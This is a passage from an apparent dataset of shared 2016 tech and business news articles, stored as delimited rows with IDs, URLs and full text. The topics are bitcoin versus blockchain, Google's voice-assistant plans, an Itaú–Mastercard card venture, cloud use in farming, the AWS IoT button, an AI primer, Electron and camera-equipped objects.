hide what is going on. This misleads customers, investors, and regulators. This deliberate misdirection is still currently pursued by some companies who use bitcoins, who assert that they are blockchain-powered when really they mean that they transfer value by buying, transferring, and selling bitcoins. One of the arguments is that by using the word blockchain instead of bitcoin, they attract less regulatory scrutiny and have a higher chance of opening a bank account, needed for fiat deposits. This has hurt the industry by creating confusion, and in retrospect is incredibly short-sighted. This also hurt the companies who were genuinely using blockchain technology (not bitcoins) to attempt to solve other problems. I call this The Blockchain Blunder . Later, journalists, industry leaders, politicians, figureheads, consultants, bloggers and dinner party speakers started waving their hands and talking about ""blockchain"" (without ever specifying which one) being a solution for everything from disrupting banks to saving banks, from replacing 3rd parties to creating more efficient 3rd parties, and of course enabling financial inclusion. More pundits jumped on the bandwagon and regurgitated barely-researched content, creating the echo chamber of confusion. Chaos ensued. Some technology vendors pivoted from bitcoin (not well paid) to industry workflow tools (better paid) and tried to retrofit iterations of bitcoin's blockchain technology into perceived financial service problems, often without understanding the problems and the context of the financial service problems in the first place. Incumbents in turn needed a 'blockchain strategy' and started doing proof of concepts by taking well known, well understood problems with well known, well understood solutions, and attempting to apply blockchain solutions to them. This makes sense if the purpose is to get hands dirty and explore the technology, though it doesn't make sense from a pure IT architecture perspective. This is where we stand in Q2 2016. What has the effect been? Bitcoin: a way for people to pay each other across the world without interference from financial institutions. Industry workflow tools: mechanisms to share and update data between entities without a central point of control, creating efficiencies for incumbent industry participants. By referring to these both as blockchains, the connotations have got jumbled up. Here's how it should look: Some benefits, reality checks, and points to consider Now that we understand the difference between cryptocurrencies such as bitcoin, and industry workflow tools, let's explore where the benefits lie. Industry workflow tools will benefit incumbents A shared or distributed ledger/fabric/communication tool/chat-app is only useful to business if it makes businesses better, more efficient, more competitive. The promise of the proposed industry workflow technologies is to join up participants and create a strategic advantage for them. The benefits of participation are potentially both cost reduction (cheaper IT) and oligopoly-consolidation (let's maintain our advantage, together). It's a no-brainer for incumbent financial institutions to pursue what this technology can bring. Industry workflow tools may benefit regulators Regulators may want to insist on being able to 'plug in' to the workflow tools to get a better understanding of what is going on under their watch - something they have wanted to do for a long time. The transparency of asset ownership promised by industry workflow tools may have positive implications for systemic risk understanding and reduction. However regulators should watch out for creating a new systemic risk - is something being created which is globally too big to fail? Are regulators enabling a monopoly or oligopoly? Industry workflow tools may speed up asset settlement, but traders don't want real-time gross settlement. There is a difference between same-day settlement (T+0) and Real Time Gross Settlement. Same day settlement Same day settlement is beneficial to participants as it means that you get what you bought more quickly. Instead of waiting 3 days (T+3) to own your shares, the shares would be yours by the end of the same trading day (T+0). This frees up your pre-pledged collateral for use in another trade. The technology to reduce the time taken to settle equities from T+3 to T+0 (ie 3 days to same-day) has been available ever since we have known how to edit a row in a database and tell someone else about it quickly. The Kuwait and Saudi exchanges operate on T+0 according to a member of NASDAQ staff. It's not the technology that has prevented the change, It's the market structure, practices, regulation, and habits . The DTCC made this point clear in their blockchain whitepaper . So if it's T+0 settlement is not a technology problem, why will using newer technology help? Real Time Gross Settlement This is where trades are settled individually in as close to real time as possible, and there is no 'netting'. Gross settlement means when I buy some shares one minute and sell them the next, we settle both trades in full (we don't ""settle the difference""). However, netting is efficient. In real life you net wherever possible - for example if you buy your friend dinner, then later she buys you dinner, you wouldn't insist that you pay each other back the full amounts on the restaurant bills - no, instead you settle the difference, ie 'net' them off against each other. Market players don't want real time gross settlement . Being able to trade in and out of positions during the day and only settle up at the end of the day provides a lot of benefit: having to settle every trade would reduce the fun that can be had and money to be made. It would also increase the amount of collateral that would need to be posted. There is confusion between what bitcoin does (fairly real-time settlement of a BTC-denominated payment) and industry workflow tools being pitched as a solution to frictionless, real-time gross asset settlements (that traders don't want). Industry workflow tools may make innovation harder and more expensive Unless built extremely carefully, a system affecting multiple participants could be harder to upgrade and could ossify more quickly than a system run by a single entity. If you think it's hard to innovate a single banking app, just think how hard it will be to innovate one that touches multiple banks. Who would coordinate it? Who bears the costs? For analogy, the internet uses a couple of protocols called TCP/IP. There has been amazing stuff built on top. However, changing TCP/IP itself is incredibly hard, partly because there is so much software and firmware built on top of it. What about the 3rd parties who were going to be disintermediated? Today, 3rd parties set the rules and also enforce them, with some enjoying a quasi monopolistic status, and reaping the pricing benefits that that allows. With the industry utilities being built, the role of the 3rd parties may change a bit - they could become technology service centres and standards agencies. I don't think they will be disintermediated. Perhaps with these workflow tools, control and execution of the rules will lie with the participants (the banks running the nodes), and the 3rd parties will end up setting the rules and coordinating the upgrades: someone has to. Incumbent 3rd parties are shaping the narrative and working hard to make sure they remain relevant. The promise of disintermediation is driven by bitcoin & cryptocurrency side, not from industry workflow tools. Cryptocurrencies and Financial inclusion The promise of bitcoin and its bag of technological tricks gave us for the first time in the history of the world a way for two online people anywhere on the planet to send value electronically without needing to onboard or rely on specific third parties . For or better or for worse, this is truly a step towards financial inclusion . But here's the rub: ask a policymaker what they want, they'll say Financial Inclusion. Ask them what they don't want, and many will say bitcoin: the most financially inclusive tool we have ever seen . Bitcoin is the most financially inclusive technology that exists today. Industry workflow tools have no direct impact on financial inclusivity. So what are next steps? I am an incumbent, what should I do? Make best use of technology You should be using the best technology to increase revenues, reduce costs, increase efficiency, keep customers happy, and deliver profits to shareholders It's important to use technology to remain competitive Get involved with industry workflow tools, or you might miss out! Defend against the disruptive innovation of cryptocurrencies Aside from political lobbying, the only defence against disruption is to get down and play on the disruptor's terms. To compete with bitcoin you need to create an open, permissionless, censorship-resistant payment network that is better than bitcoin. That may be difficult to do while maintaining a banking licence Perhaps one long-term play might be investing in bitcoin firms (actual cryptocurrency firms, not 'blockchain solution providers') I am interested in disrupting the financial industry, what should I do? Keep working on the public blockchains, the unprofitable stuff, the stuff that people are uncomfortable talking about Keep making the open networks better, solving the hard problems, proving the skeptics wrong Don't lose focus: you are not trying to solve the incumbent industry's problems. Industries aren't disrupted by having better widgets built for them. Do you really need to dance with the devil? Don't spend your VC money too quickly pre-empting traction. It will probably take longer than you think! You are trying to create a new way of doing things - for better or for worse, and however it may end up Be careful what you enable. I am sitting on the sidelines, what should I do? Keep reading, talking, learning, and understanding. Challenge the hand-wavers if something doesn't sound or feel right Keep watching the evolution of this space, the future is exciting! What does the future hold? The disruptive innovators will keep working on bitcoin and variants, improving them, solving problems. Disruptive companies will come and go, the majority will fail. The incumbents will keep working to remain competitive, keep their customers happy, and deliver profits to shareholders. They will ignore bitcoin because it's not what they think their customers want, and the market is too small ! Then, when bitcoin or its progeny gets good enough, something will happen. Disruption is uncomfortable, it's dirty, it's subversive, it's ""Oh shit, we can't do anything about this"". There will be intense lobbying and a concerted effort to ban or make the technology illegal. The technology will win. This is the story of disruption , which has been told over and over again. The financial service providers in a cryptocurrency world will look very different to today.",en
1463092990,CONTENT SHARED,2704671778746002960,-1443636648652872475,-5528735230097235953,,,,HTML,http://9to5google.com/2016/05/11/google-amazon-echo-chirp/,Report: Google I/O to focus on voice search as Google preps 'Chirp' competitor to Amazon Echo,"Back in March, The Information reported that Google is working on an Amazon Echo competitor. Today, Recode has confirmed such a device and added that we might get a peak of it at Google I/O. While it won't launch next week, the conference will reportedly have a big focus on voice search and personal assistants. The device has yet to be named, but internally the project is codenamed ""Chirp."" It reportedly resembles the line of OnHub wireless routers that Google currently sells. Internally, Google believes its voice assistant technology found on Android devices to be leading the industry. However, they have yet to enter the growing home market. We spotted a reference to a Living Room initiative last year at a developer conference focused on the Internet of Things and it was spotted again during Google's hardware re-org. According to Recode , it's unlikely that the device will launch next week at Google I/O, but we might get a look at it. Google is currently targeting a launch sometime this year. The report adds that this year's conference will have a big focus on ""voice search and intelligent personal assistance."" In his Founders' Letter , Sundar Pichai said that ""smart assistance should understand all of these things and be helpful at the right time, in the right way."" During last quarter's earnings call , Pichai also mentioned how we'll soon be living in an AI first world. Several Google apps have recently been updated with AI-powered features. Google Calendar was recently updated with a feature that intelligently finds the best time for your activities and YouTube is using deep neural networks for video recommendations.",en
1463096130,CONTENT SHARED,5719793245136119929,3915038251784681624,-8382147822336531833,,,,HTML,http://www.infomoney.com.br/minhas-financas/consumo/noticia/4965754/cade-autoriza-itau-unibanco-mastercard-criarem-nova-bandeira-cartao,Cade autoriza Itaú Unibanco e Mastercard a criarem nova bandeira de cartão,"SÃO PAULO - O Conselho Administrativo de Defesa Econômica (Cade) aprovou, nesta quarta-feira a joint venture entre Itaú Unibanco e Mastercard para a criação de uma nova bandeira de cartão de débito e crédito. A joint venture permite a introdução de novas tecnologias, como a criação do chamado ""e-wallet"" (carteira digital, que guarda informações pessoais de pagamento para serem usadas rapidamente nas transações) e de mecanismos de pagamento ""tap and go"" (cartão sem contato, com pagamentos via NFC - apenas encostando o aparelho nas máquinas). Condições Entre as condições impostas pelo órgão está a criação de uma nova marca, ou seja, o novo cartão não poderá remeter ao Itaú Unibanco ou Mastercard. Também há restrições em relação às regras de governança corporativa. O entendeu que a forma como a composição do Foi determinada a eliminação dessa prerrogativa: as decisões da nova conselho de administração da joint venture foi apresentada pelas partes devia ser alterada, já que, inicialmente, daria poder de veto ao Itaú. empresa serão tomadas de forma igualitária pelos dois controladores. O Cade acrescentou que a obrigação de transparência e de não discriminação é mais uma condicionante imposta pelo governo. ""Por meio dele, Itaú Unibanco e Mastercard concordaram em ajustar o para divulgar para todo o mercado as únicas praticadas, além de informar a cada credenciador o valor da parcela referente à taxa de intercâmbio repassada ao emissor do cartão"", diz o Conselho Administrativo de Defesa Econômica. As companhias terão 30 dias para fazer as mudanças de documentação necessárias e entrar nas exigências. A duração da joint venture será de 7 anos, também por imposição do Cade. As empresas haviam pedido 20 anos. Com a redução do tempo, o órgão poderá reapreciar a operação à luz da futura estrutura de mercado, após a entrada efetiva da nova bandeira, bem como assegurar que os benefícios alegados sejam efetivamente introduzidos no mercado, em favor dos consumidores. Com Agência Brasil",pt
1463096313,CONTENT SHARED,-3954182109690207118,-1443636648652872475,-5528735230097235953,,,,HTML,http://fortune.com/2016/05/12/google-cloud-land-olakes/,Google Cloud Goes to the Farm,"The use of big data techniques to aggregate and cull information about farm production is growing, which means the need for cloud computing resources to store and analyze that data is on the upswing as well. Case in point: One unit of the huge Land O' Lakes farming co-op is now using Google Cloud Platform to design a data analytics system that will store reams of data gleaned from farmers and then allow them to analyze it. Based in Arden Hills, Minn., Land O' Lakes is probably best known as a big dairy supplier. It sells branded cheese, butter, and other dairy products from co-op member farms. But the company also comprises the Purina brand of animal feed and the WinField ""crop inputs"" division. ""Crop inputs"" are things like seeds, fertilizer, and pesticides or fungicides, which WinField's sells to an estimated 300,000 farmers via a network of retailers. Given Google's push for enterprise cloud customers , it's touting this as a big win because Land O' Lakes overall is number 203 on the most recent Fortune 500 list with some $15 billion in annual revenue. Get Data Sheet , Fortune's technology newsletter. WinField has about 200 research farms it uses to plant and test seed hybrids under and crop protection formulas, said Teddy Bekele, vice president of IT for the WinField division. ""If you're a farmer in northeastern Iowa planting this year, and this year looks like the weather will be like the weather in 2011, here's the seed hybrid that will work best for you,"" Bekele told Fortune . Much of agriculture has been driven by intuition and custom in the past, but farmers now are relying more on science and technology. ""If you look at corn, which is the largest crop in the U.S., average corn production last year was 170 bushels per acre. But a farmer in Georgia got 503 bushels per acre. The co-ops goal is to help farmers make decisions to get the best return on their land, time, and effort, Recommendations to that end come from a lot of information sources about weather, soil, and water conditions based on images taken from satellites or planes, soil sampling, and more, which WinField has been collecting for years. WinField's problem was that while it had lots of data streams and tools to apply to them, they were all isolated from each other. The challenge of big data, is somehow getting all that data into one accessible place. ""We needed a way to connect all that up and that's the cloud. We needed a central place to store that data,"" Bekele reflected. So approximately 12 months ago, Land O' Lakes started looking into the Google Cloud Platform to use for that purpose. Google's appeal over rival clouds like Amazon Web Services or Microsoft Azure was Google's extensive experience with mapping. ""We have a ton of geospatial data so Google's mapping capabilities were already there,"" Bekele explained. ""Any tool we worked with, whether our own or someone else's is truly geospatial with a GIS component to it."" GIS stands for Geographic Information System, which is a computer system designed to capture, store, and parse spatial or geographic data-from maps, aerial or satellite images, what have you. Read More: Google Plans to Boost Its Cloud Game WinField's needed to be able to take an image of a field and apply different overlays, one for where seeds are planted and another for where spraying is critical because seed coverage needs to extend right up to the boundary to maximize yield while spraying has to be kept away from borders or water sources. ""It's not unusual for us to assign four to five boundaries for one field, depending on crop rotations and other factors,"" Bekele noted. For that, Land O' Lakes needed a robust mapping engine that already existed or else it would have had to build one on its own. Google was became the answer. After selecting Google, Land O' Lakes had a prototype application up within six weeks and has spent roughly eight months in total fine tuning and honing it with help from the Internet giant. Over the last month, Land O' Lakes has been working with its 1,300 partners to load data into Google Cloud Storage. Down the road, Bekele expects the system will enable farmers or their ""delegated agents"" to see their own data (but not that of others) and run their own analysis. He expects many will be interested in using Google's BigQuery data warehouse and/or BigTable NoSQL database to run their own data operations.",en
1463101717,CONTENT SHARED,626121253933491500,-1443636648652872475,-6889636411309016105,,,,HTML,http://venturebeat.com/2016/05/12/amazon-just-released-a-dash-button-for-aws-iot/,Amazon just released a Dash button for AWS IoT,"Believe it or not, there is now an Amazon Dash button that can integrate with AWS IoT, the managed services from cloud infrastructure provider Amazon Web Services (AWS). ""The AWS IoT Button is a programmable button based on the Amazon Dash Button hardware,"" Amazon says in a description of the new product, which is available on Amazon for $19.95. ""This simple Wi-Fi device is easy to configure and designed for developers to get started with AWS IoT, AWS Lambda, Amazon DynamoDB, Amazon SNS, and many other Amazon Web Services without writing device-specific code."" It can be configured to do all kinds of things. It can be a connected doorbell or lightswitch, or it can be connected with something like Twitter - maybe you can have it tweet out ""awake"" when you push the button once you've gotten up for the day. I don't know. Anyway, the point is you can take the concept of Dash - push a button and get Amazon to do something for you, like send a package of paper towels - and do exactly what you want with it. If nothing else, this is a funky marketing ploy for the Internet of Things (IoT) service that the market-leading cloud provider was introduced last year . Microsoft has worked with third parties to sell kits that can be configured to interact with Azure cloud services , but this takes advantage of a wacky Amazon hardware technology. For now the product is in ""limited release,"" Amazon says. You will need a Wi-Fi connection for it to work. The battery will last for around 1,000 button presses. Amazon.com, Inc. (NASDAQ: AMZN), a Fortune 500 company based in Seattle, opened on the World Wide Web in July 1995 and today offers Earth's Biggest Selection. Amazon.com, Inc. seeks to be Ea... All Amazon news "" Since early 2006, Amazon Web Services (AWS) has provided companies of all sizes with an infrastructure web services platform in the cloud. With AWS you can requisition compute power, storage... All Amazon Web Services news "" Get more stories like this on Twitter & Facebook",en
1463119352,CONTENT SHARED,-2097626568191556277,-1032019229384696495,5297099638945885430,,,,HTML,http://www.theverge.com/2016/5/12/11662616/google-gboard-keyboard-iphone-ios,Google releases keyboard for the iPhone with built-in search features,"Google has today announced a new keyboard for iOS devices that directly integrates search functions. Called Gboard, the keyboard features a button on the upper left that lets you perform web searches, look for images or GIFs, or even search for emoji without ever leaving the keyboard. Results from web searches can be instantly pasted into a text box. The Verge's Casey Newton exclusively reported that Google was working on such a keyboard for the iPhone back in March. In addition to the search functionality, Gboard also offers word tracing. Overall, it appears to be a blend of Google's best features from its keyboard and Google Now On Tap service on Android, but brought to the iPhone. You can download the new keyboard from the App Store now.",en
1463119616,CONTENT SHARED,-9128652074338368262,-1032019229384696495,5297099638945885430,,,,HTML,http://techcrunch.com/2016/05/12/clarifying-the-uses-of-artificial-intelligence-in-the-enterprise/,Clarifying the uses of artificial intelligence in the enterprise,"Artificial intelligence. It's dominating headlines with the promise of self-driving cars and virtual assistants becoming more real every day. But despite all the talk around AI, no one seems to really understand what it is or how companies can use it. Is AI the computer that competed on Jeopardy ? Or Johnny 5 from the movie Short Circuit ? Will machines really take our jobs? As data volumes surge and analytic engines become more mature, has technology finally caught up with the hype? Artificial intelligence does in fact encompass elements of all these things, but there's been increasing market confusion around what it is and how businesses can successfully use it. The efforts of OpenAI and industry development around AI are exciting, but it's important to accelerate understanding of the topic and terminology. With this in mind, here's a primer on artificial intelligence and what it means for business. Artificial intelligence Many people think of AI as the blending of humans and machines. They're not far off, but AI is an incredibly broad term - more of an umbrella term, really - that simply means making computers act intelligently. It is one of the major fields of study in computer science and encompasses subfields such as robotics, machine learning, expert systems, general intelligence and natural language processing. Apple's Siri, Google's self-driving cars and Facebook's image recognition software are standard examples of AI. But it's much broader than that. AI also powers product pricing on Amazon, movie recommendations on Netflix, predictive maintenance for machinery and fraud detection for your credit card. While these applications are all powered very differently and achieve different goals, they all roll up into the umbrella term of artificial intelligence. Intelligence has never been sexier. From a business perspective, companies wouldn't simply ""buy"" an AI solution. Rather, they would likely leverage one or more of the subfields of AI and buy software packages like R, Python, SAS, and MATLAB for statistical analysis. But new technology is pushing beyond traditional statistics, and machines are acting more intelligently than ever - they're not just doing the analysis, machines are now finding patterns in data and figuring out how systems ""work""... often without any human intervention. Let me stop here for a quick, yet important, PSA - neither artificial intelligence nor machines will replace all of our jobs. This is perhaps the biggest misconception about AI. Everything under the AI umbrella - including machine intelligence and machine learning - is data-driven, but requires human expertise to apply answers and discoveries to solve problems. AI will allow people to do new and interesting things that have never been done before. That's the fun part, so let's take a look. Machine learning Early on, AI was focused on expert systems: establishing if-then rules to mimic human knowledge and decision-making. Expert systems fell out of favor because they didn't leverage data, didn't learn from data and didn't scale. They were entirely limited by the programming and cerebral capacity of the people who created them. Today, machine learning has replaced expert systems. Machine learning refers to the statistical arm of AI. Most of the people or companies leveraging ""AI"" are referring to machine learning, not doomsday robots. The focus of machine learning is on programming algorithms to learn from data, complete tasks and make predictions with an emphasis on high statistical accuracy. It is not used for the discovery or interpretation of data - this is important to know, and something we'll cover more in-depth later. Machine learning algorithms can be developed, run and tuned with libraries from software packages like SAS, R and Python. Data scientists and statistical analysts typically work in these programming languages, ultimately applying the resulting algorithms to enterprise applications like sales forecasting, email spam filtering and determining where the next hurricane is likely to develop. Because of machine learning's widespread applications, there exists a plethora of tools that empower its implementation. Yet the ""rules"" and predictions uncovered by machine learning algorithms are still unable to solve many business problems on their own. Without data scientists, businesses have trouble interpreting the algorithms and developing an understanding of the why . Has technology finally caught up with the hype? If we're a Fortune 500 retailer, do we care exclusively about predicting sales, or are we equally concerned with why that number? What are all the variables and relationships at play, and what can we change to improve that outcome? How much of our revenue can be chalked up to weather patterns or marketing spend? Are we stocking the correct amounts of each product, or should we optimize for impending tastes and trends? If we're an engine manufacturer, is it useful to merely predict that the assembly line will produce a faulty component 1 percent of the time, or is it more helpful to be able to understand all the knobs and levers that contribute to the failure so we can actually change the future and our processes? Welcome to the next phase of AI. Machine intelligence Machine intelligence is the newest subfield of AI, focused on learning and interpretation of data. It's a natural progression of machine learning, but takes it a step further. One of the shortcomings of machine learning is that machines are learning but not conveying to us what they're finding from the data. To make data valuable, we need to be able to understand it and explain it; only then can we connect the dots and apply it back to the business. This is machine intelligence - the interpretation and understanding of data - and why it's so important. IBM had one of the first attempts at machine intelligence. Watson, IBM's Jeopardy-aceing robot, uses natural language processing to interact with and process data, by converting speech to a scalable search through the World Wide Web. Watson can listen to anyone, interpret the information then search its database for a response to a question that somewhere, at some time, has already been answered. Where Watson falls short is its inability to infer new ideas or answers. Similarly, other services like Microsoft and Amazon provide platforms for running machine learning algorithms, but do not facilitate interpretation of results. What if we could take this a step further and have machines discover answers that are not yet known? Machine intelligence has the ability to not just uncover answers, but to understand and interpret what it has learned. Machine intelligence is the next exciting progression of artificial intelligence. Whereas machine learning will accurately predict that your electric bill will increase next month, machine intelligence will accurately predict that your electric bill will increase next month - and tell you why: your travel schedule will be light, the weather will be hotter than usual and your air conditioner has been deteriorating. Machine intelligence teaches back to the human the reasons why things happen or will happen, arming users with the ability to make quick and justified changes in strategy. Machine intelligence, not ""big data,"" offers the ""actionable answers"" businesses need. Unfortunately, some people have been exploiting the ambiguity around artificial intelligence. AI, in and of itself, is a relatively basic, high-level idea that machines can be programmed to act ""intelligently."" Machine learning dives into the idea that machines can actually learn without explicitly being programmed. Finally, machine intelligence exhibits the ability to not only learn from data, but to actually clearly articulate answers and discover why . That is, machine intelligence is the first instance of machines teaching the human and relaying brand new discoveries automatically. This is an exciting time, and we're only on the cusp of what's to come in AI. Machine learning has been the panacea for decades. Machine intelligence is the next step in the progression, allowing people (and companies) to understand why things happen and what to change to generate their desired outcome. Intelligence has never been sexier. Featured Image: Omelchenko / Shutterstock",en
1463119701,CONTENT SHARED,5088013394045185972,-1032019229384696495,5297099638945885430,,,,HTML,http://www.wired.com/2016/05/javascript-conquered-web-now-taking-desktop/,JavaScript Conquered the Web. Now It's Taking Over the Desktop,"JavaScript was originally created in 1995 to give web pages a little more pep than the <blink> tag could provide. Today it has far more powerful uses. Companies like Google and Facebook build complex, desktop-like web applications with JavaScript; since the launch of Node.js in 2009, it's also become one of the most popular languages for building server-side software. Today, even the web isn't big enough to contain JavaScript's versatility: it's now making its way into applications for the desktop. Electron is a software development platform created by Github that lets developers use JavaScript along with other web technologies like HTML and CSS to create desktop applications that can run on Windows, Macintosh OS X, and Linux. The company released the first full version of Electron yesterday. But some of tech's biggest names have already put the tool to work to push JavaScript beyond the browser. Last year, Microsoft released a code editor called Visual Studio Code that was built using Electron. Workplace chat unicorn Slack uses Electron to build its desktop client. The startup Nylas (formerly known as Inbox ) used Electron to build an entire email client. And Brave , a company founded by JavaScript creator Brendan Eich, used Electron to build a whole new web browser. Why are all these companies using JavaScript when there are countless other ways to build desktop applications? Well, consider the rise of JavaScript on the server. Developers already had scores of ways to build server-side web applications when Node.js came along. But it became enormously popular anyway because developers could now use the same language to write both the browser-side and server-side portions of their apps. It turns out it's useful to have a lingua franca for the web. And that ubiquity makes JavaScript's migration to the desktop a natural next step. Open to Everyone Many of the companies using Electron are building open source software, which means the code is available to anyone to examine and modify. And the more people who understand your open source code, the more people who can contribute bug fixes and new features to the original project. By using JavaScript, these companies are opening the gates to web developers who already know the language but aren't familiar with more traditional desktop programming languages like C++. The startup Jibo, for example, is using Electron to power its robotic personal assistant because the team wanted to make it easy for third-party developers to write their own software for the robot. ""We wanted to make the barrier to entry as low as possible,"" says Jibo developer Jonathan Ross. ""So we knew right off the bat that we wanted to market to game developers and web developers."" JavaScript's ubiquity makes its migration to the desktop a natural next step. That's a big part of why Electron was created in the first place. Electron was originally built as a platform for developing Atom, a text editor created by GitHub. As GitHub co-founder Chris Wanstrath told WIRED last year, he wanted to build a text editor using JavaScript so that web developers could customize it as they saw fit. ""It's one thing for me to be able to hack my editor,"" Wanstrath says. ""But what's way more powerful is that I can use other plug-ins that other people have written."" Sure, running applications in what amounts to a web browser has its downside. ""There is a pretty substantial overhead that comes with running something as an Electron app,"" says Ben Gotow, who leads front-end development at Nylas. But the trade-offs are worth it, because Electron does more than just offer the ability to use a popular language. Creating desktop apps in JavaScript lets developers choose from a vast range of freely available code libraries and frameworks, which takes much of the grunt work out of coding. Instead of having to create a login system from scratch, for example, Electron developers can turn to one of many open source authentication libraries online. ""We were able to write a fairly substantial email client in only a year, that's pretty incredible,"" Gotow says. Geeking Out on JavaScript The idea of using web technologies to build desktop apps is not new. Adobe's AIR system enabled developers to build desktop applications using the company's Flash platform, and a smaller company called Appcelerator , now more focused on mobile app development, once offered tools for building desktop apps with HTML and JavaScript. More recently, a team of developers created NW.js , formerly known as Node Webkit. But in 2014, the GitHub team found all the available options lacking, so they did what geeks do: they created their own and released it to the whole world. ""We thought making good apps should be accessible to anyone,"" says GitHub VP of product Kakul Srivastava. Jessica Lord, who works on Electron at GitHub, says it's more efficient than what came before it. Electron comes bundled Chromium-the open source version of Google's Chrome browser-but uses a stripped down version. That makes it easier for the team to integrate new features from Google, since they don't have to test every single part of every new version of Chromium to see if it breaks an Electron feature. GitHub's efforts appear to be paying off. The number of contributors to Electron has grown to more than 300 since the project launched two years ago. And it's already been downloaded more than one million times. But the competition is growing. NW.js is still being improved, and Facebook has released its own JavaScript framework called React Native that developers can use to build apps for a wide variety of platforms, including Windows, Xbox, iOS, and Android. Regardless of what framework or platform developers wind up using, JavaScript has clearly found a home on the desktop. For users, the divide between online and offline blurred a long time ago. Now the same is true for the code itself.",en
1463138352,CONTENT SHARED,2470587255066232267,-1443636648652872475,-6889636411309016105,,,,HTML,http://www.geekwire.com/2016/university-of-washington-disney-develop-cheap-touch-sensitive-paper/,University of Washington partners with Disney to develop cheap touch-sensitive paper - GeekWire,"Despite a wealth of cheap screens, printing information on paper is often still easier than sending it out digitally. But a new connected paper technology developed by the University of Washington, Disney Research and Carnegie Mellon University adds an interactive edge to the printed page. PaperID uses battery-free RFID technology to detect touch, swipes and even hand waves by measuring disturbances in the signal. This means teachers can quickly see how kids are doing on a test or makers can quickly iterate interactive smart-home features without costly prototyping. ""Paper is our inspiration for this technology,"" said lead author Hanchuan Li, a UW doctoral student in computer science and engineering. ""A piece of paper is still by far one of the most ubiquitous mediums. If RFID tags can make interfaces as simple, flexible and cheap as paper, it makes good sense to deploy those tags anywhere."" The RFID tags are versatile, about 10 cents each, and can be applied as stickers, stencils or freehand drawing with a special pen. Since RFID tags have unique IDs, a single reader in the room can track many tags in a crowded room. In addition to touch and movement around the RFID tag, the PaperID system can also sense movement of the tag itself. Researchers showed off how it can be used to visualize wind speed via a pinwheel. A sheet of paper can also be rolled into a conductor's baton to lead a virtual orchestra and control music playback. The ubiquity of paper helped the team settle on the medium, but its flexibility, low cost and eco-friendly attributes also made dead tree pulp an appealing choice. However, the team's tech could be used on other surfaces, adding interactive elements cheaply to a wide range of objects.",en
1463140591,CONTENT SHARED,3746463631389880443,-1799631734242668035,-1705757378165207657,,,,HTML,http://www.proxxima.com.br/home/proxxima/2016/05/11/adobe-quer-potencializar-area-de-marketing-digital.html,Adobe quer potencializar área de marketing digital - Meio & Mensagem,"A curadoria de conteúdo e engajamento de audiência feita pela Livefyre será integrada e estará disponível em todas as oito soluções de marketing digital do Adobe. O portfólio de clientes da Livefyre inclui Hallmark, Huff Post Live, Intel, Coca-Cola, Mashable e National Geographic. A empresa tem escritórios em São Francisco e Nova York (EUA).",pt
1463142275,CONTENT SHARED,-8044741783031984918,-1443636648652872475,-6889636411309016105,,,,HTML,http://thenextweb.com/insider/2016/05/13/the-internet-of-eyes-and-the-personification-of-everything-around-you/,It's coming! The Internet of Eyes will allow objects to see,"In the near future, every inanimate object we interact with may not only have the ability to see, but could also improve our lives. In order for this visibility to happen, objects will need the assistance of visual sensors and cameras. Though hotly debated in privacy sectors, experts agree that dozens of tiny cameras and eventually nano cameras will soon be built into objects, providing devices the ability to see from every angle and in real time. As Serge Belongie, Professor of Computer Vision at Cornell Tech points out, ""There may be significant barriers to social acceptance faced by always-on cameras everywhere. People may ask, what's the point? Where's the value? Why would I want cameras pointed at me all of the time? ""While I don't know when the turning point of acceptance will occur, it will coincide with a broad realization that this kind of visual technology, combined with smart cameras in fixed locations at home and at work, can in fact improve our health, aid our memory, and provide us new ways to care for loved ones."" Before you rejoice in technological advancements ( or throw out your fridge in fear ) it's imperative to know how we got here and what it means for human progress. What it means to truly see I call this all-seeing market opportunity the Internet of Eyes (IoEyes), and it will empower and connect various inanimate objects - from clothing to mirrors, refrigerators to buildings... maybe even the paint on your walls will have the ability to see. Similar to the Internet of Things, the IoEyes is a network of cameras and visual sensors connected via the internet enabling the collection and exchange of visual data on a scale unimaginable before. The ability for these objects to see is only the beginning of a process that will have an exponential impact on all business sectors and, ultimately, the human race. As part of a broader visual technologies market,which capture, store, analyze and monetize any visual content relating to consumers, the IoEyes is expected to have a horizontal impact on all business sectors as well as humanity. Erik Solem, whose company Mapillary crowd-sources street photos, believes IoEyes will only have a positive effect on society as a whole. ""At Mapillary we aim to understand places and how they change over time using crowdsourced photos, cameras and visual sensors, combined with computer vision. This automated type of understanding will improve anything from the future of automotive, building safer smarter cities, and understanding remote locations. I am excited for the Internet of Eyes to improve our lives as a key component in the future of our societies."" This market is sure to be a catalyst for another technological revolution. This is the core of why industry experts meet to discuss and inspire one another on how Visual Technologies and the Internet of Eyes at the annual LDV Vision Summit . Love at first sight TThe combination of different types of visual data from photographic, thermal, CT, MRI, X-ray, ultrasound, and white light with computer vision, machine learning, and artificial intelligence will deliver high quality signals unlike anything we've had previously. Imagine performing a simple daily task and knowing what's going on inside your body. A real-time visual feed of you brushing your teeth will generate not just one visual signal but millions of layers of signals, including analyzing heart rates, blood conditions, DNA structure, temperature, and emotional state. Bathroom mirrors will capture multiple types of visual data, giving us a health score every time we looked in it while sensors could detect how much alcohol we've had or tobacco we've smoked - and possibly project an expected lifespan as a result. Sentiment analysis via computer vision will tell us if we are more anxious, stressed, or happy in real-time - acting as fitness trackers and giving us a daily health score helping us better understand our health trends over time. Two companies who leverage computer vision to deliver sentiment analysis are Affectiva and Emotient which was recently acquired by Apple . These simple actions translate into trillions of frames of potentially actionable data. The value lies not only in being able to see what is happening at any given second, but also in having computers analyze multiple trends over time. Sensors in your buildings will be able to manage energy costs more efficiently by seeing where people are in the building and learning their patterns of activity. One unique company, Enlighted , enables this analysis through dense networks containing a combination of sensors including thermal data. ""From healthcare to retail to office environments, smart sensors are enabling building owners and operators to make strategic decisions rooted in data they never had access to before such as real time occupancy and occupancy patterns,"" says Enlighted CEO, Joe Costello. ""Leveraging this sensor data will enable businesses to operate more effectively, environmentally, and hopefully improve our lives."" Data collected from Enlighted's sensors can be displayed as motion trails; showing how people move through a space over time. ©Enlighted Another company leveraging visual data from cameras is Placemeter which visually tracks the activity of people for retailers, real estate, and governments. ""Placemeter gives eyes to your city, enables it to understand how people move around, use its amenities and services, and consequently optimize resources and infrastructure to make our cities more efficient, safer, smarter. Internet of Eyes technologies like ours deliver useful data without compromising an individual's privacy and hopefully will improve businesses and our lives,"" says Alex Winter, Placemaker CEO and Founder. Similarly in our homes, companies such as Canary and Camio are leveraging computer vision and multiple different signals to manage quality of life and security. Keys for our home, car, and office have gone essentially unchanged since they were invented in 1861, but they will soon become a cute historic artifact, replaced by biometrics that analyze your face, eyes, and emotional characteristics. Why it's important to have a vision The 